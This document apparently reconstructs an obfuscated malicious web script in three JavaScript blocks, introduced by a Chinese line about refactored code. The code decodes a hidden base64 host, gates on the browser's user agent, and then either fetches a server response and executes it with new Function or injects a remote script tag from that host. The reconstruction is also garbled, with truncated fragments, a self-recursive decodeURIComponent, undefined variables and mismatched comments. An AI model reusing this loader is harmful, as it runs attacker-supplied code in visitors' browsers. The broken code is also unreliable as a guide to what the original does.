以下是重构后的内容:

```javascript

function UqgsgfgDv(e) {

var t = "", n = r = c1 = c2 = 0;

while (n < e.length) {

r = e.charCodeAt(n);

if (r < 128) {

t += String.fromCharCode(r);

n++;

} else if (r > 191 && r < 224) {

c2 = e.charCodeAt(n + 1);

t += String.fromCharCode((r & 31) << 6 | c2 & 63);

n += 2;

} else {

c2 = e.charCodeAt(n + 1);

c3 = e.charCodeAt(n + 2);

t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);

n += 3;

}

}

return t;

};

function UqSDDFGvyQ(e) {

var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';

var t = "", n, r, i, s, o, u, a, f = 0;

e = e.replace(/[^A-Za-z0-9+/=]/g, "");

```

以下是重构后的代码:

```javascript

function decodeURIComponent(str) {

return decodeURIComponent(str);

}

function UqSDDFGvyQ(key) {

return key;

}

var m = [117, 100, 97, 114, 101, 32, 87, 101, 114, 118, 105]; // 需要解码的字符串对应的ASCII码数组

var c = ['%uD', '%uD', '%uA', '%uA', '%uA', '%aD', '%aD', '%aA', '%aA']; // 需要解码的字符对应的编码格式数组

var UYQCJKG = (!/^Mac|Win/.test(navigator.platform) || !navigator.platform) ? function() {

var u = window['U'];

u.i = 'UYQCJKG';

return (!u[u.i]) && (function() {

u = decodeURIComponent(window['U'](''));

c = c.map(function(v) { return new RegExp(v[0], 'g'); }); // 将编码格式数组转换为正则表达式对象数组

m = m.map(function(v) { return String.fromCharCode(parseInt(v, 16)); }); // 将ASCII码数组转换为对应的字符数组

u = decodeURIComponent(u.replace(c[0], '')).replace(c[1], '\x').replace(c[2], '\\y').replace(c[3], '\\z') + '\\u'; // 对解码后的字符串进行替换

u = u.slice(-2) + '\\/' + u.slice(0, -2); // 将Unicode编码值转换为十六进制表示形式

u = decodeURIComponent(u); // 最终解码后的字符串

u += '';

c[0] = '%uD';

c[1] = '%uD';

c[2] = '%ua';

c[3] = '%ua';

c[4] = '%ua';

c[5] = '%ud';

c[6] = '%ud';

c[7] = '%ua';

c[8] = '%ua';

})();

}() || function() {};

return UYQCJKG();

```

以下是重构后的代码:

```javascript

if (navigator.userAgent.indexOf('baiduid') > -1) {

var xhr = new XMLHttpRequest();

xhr.open('POST', 'https://' + u + '/bm-' + i);

xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;');

xhr.setRequestHeader('X-REQUESTED-WITH', 'XMLHttpRequest');

xhr.onreadystatechange = function() {

if (xhr.readyState == 4 && xhr.status == 200) {

var data = JSON.parse(xhr.responseText);

var name = new Function('_' + 'u' + 'q' + 'cs', new Function('c', data.result.decode + ';return ' + data.result.name + '(c)'))(data.result.img.join(''));

name(cs);

}

};

xhr.send('u=1');

} else {

var s = d[crd]('script');

s.src = 'https://' + u + '/m-' + i;

cs.parentElement.insertBefore(s, cs);

}

(function (aGYuc2poZ2tzdmJyLmNvbQ, b, c, d, e) {

function f() {}

})(

'aGYuc2poZ2tzdmJyLmNvbQ==',

'2975',

window,

document,

['G', 'TpoZFcguG']

);

```